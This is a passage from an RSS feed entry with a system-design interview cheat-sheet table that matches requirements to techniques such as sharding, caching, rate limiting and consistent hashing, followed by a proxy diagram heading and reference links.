<tr>
<td>Need 𝐀tomicity, 𝐂onsistency, 𝐈solation, 𝐃urability Compliant DB</td>
<td>Go for RDBMS/SQL Database.</td>
</tr>
<tr>
<td>Have unstructured data</td>
<td>Go for NoSQL Database.</td>
</tr>
<tr>
<td>Have Complex Data (Videos, Images, Files)</td>
<td>Go for Blob/Object storage.</td>
</tr>
<tr>
<td>Complex Pre-computation</td>
<td>Use Message Queue &amp; Cache.</td>
</tr>
<tr>
<td>High-Volume Data Search</td>
<td>Consider search index, tries or search engine.</td>
</tr>
<tr>
<td>Scaling SQL Database</td>
<td>Implement Database Sharding.</td>
</tr>
<tr>
<td>High Availability, Performance, &amp; Throughput</td>
<td>Use a Load Balancer.</td>
</tr>
<tr>
<td>Global Data Delivery</td>
<td>Consider using a CDN.</td>
</tr>
<tr>
<td>Graph Data (data with nodes, edges, and relationships)</td>
<td>Utilize Graph Database.</td>
</tr>
<tr>
<td>Scaling Various Components</td>
<td>Implement Horizontal Scaling.</td>
</tr>
<tr>
<td>High-Performing Database Queries</td>
<td>Use Database Indexes.</td>
</tr>
<tr>
<td>Bulk Job Processing</td>
<td>Consider Batch Processing &amp; Message Queues.</td>
</tr>
<tr>
<td>Server Load Management &amp; Preventing DOS Attacks</td>
<td>Use a Rate Limiter.</td>
</tr>
<tr>
<td>Microservices Architecture</td>
<td>Use an API Gateway.</td>
</tr>
<tr>
<td>For Single Point of Failure</td>
<td>Implement Redundancy.</td>
</tr>
<tr>
<td>For Fault-Tolerance and Durability</td>
<td>Implement Data Replication.</td>
</tr>
<tr>
<td>For User-to-User fast communication</td>
<td>Use Websockets.</td>
</tr>
<tr>
<td>Failure Detection in Distributed Systems</td>
<td>Implement a Heartbeat.</td>
</tr>
<tr>
<td>Data Integrity</td>
<td>Use Checksum Algorithm.</td>
</tr>
<tr>
<td>Efficient Server Scaling</td>
<td>Implement Consistent Hashing.</td>
</tr>
<tr>
<td>Decentralized Data Transfer</td>
<td>Consider Gossip Protocol.</td>
</tr>
<tr>
<td>Location-Based Functionality</td>
<td>Use Quadtree, Geohash, etc.</td>
</tr>
<tr>
<td>Avoid Specific Technology Names</td>
<td>Use generic terms.</td>
</tr>
<tr>
<td>High Availability and Consistency Trade-Off</td>
<td>Eventual Consistency.</td>
</tr>
<tr>
<td>For IP resolution &amp; Domain Name Query</td>
<td>Mention DNS.</td>
</tr>
<tr>
<td>Handling Large Data in Network Requests</td>
<td>Implement Pagination.</td>
</tr>
<tr>
<td>Cache Eviction Policy</td>
<td>Preferred is LRU (Least Recently Used) Cache.</td>
</tr>
<tr>
<td>To handle traffic spikes</td>
<td>Implement Autoscaling to manage resources dynamically</td>
</tr>
<tr>
<td>Need analytics and audit trails</td>
<td>Consider using data lakes or append-only databases</td>
</tr>
<tr>
<td>Handling Large-Scale Simultaneous Connections</td>
<td>Use Connection Pooling and consider using Protobuf to minimize data payload</td>
</tr>
<tr>
<td>To prevent overloading systems</td>
<td>Use Token Bucket and Leaky bucket Algorithms</td>
</tr>
<tr>
<td>Minimize deployment downtime</td>
<td>Implement Blue-Green deployment to minimize downtime and reduce risks</td>
</tr>
</tbody>
</table>
<h2 id="forward-proxy-vs-reverse-proxy">Forward Proxy vs. Reverse Proxy</h2>
<p>
  
  <input type="checkbox" id="zoomCheck-1ed24" hidden />
  <label for="zoomCheck-1ed24">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/forward-proxy-vs-reverse-proxy.webp"
      alt="Forward Proxy vs. Reverse Proxy"
       />
  </label>
</p>
<h2 id="references">References</h2>
<ul>
<li><a href="https://www.designgurus.io/course-play/grokking-the-system-design-interview/doc/638c0b5aac93e7ae59a1af63">https://www.designgurus.io/course-play/grokking-the-system-design-interview/doc/638c0b5aac93e7ae59a1af63</a></li>
<li><a href="https://www.linkedin.com/feed/update/urn:li:activity:7153594539398594560/">https://www.linkedin.com/feed/update/urn:li:activity:7153594539398594560/</a></li>
</ul>
]]></content:encoded>
    </item>
  </channel>
</rss>
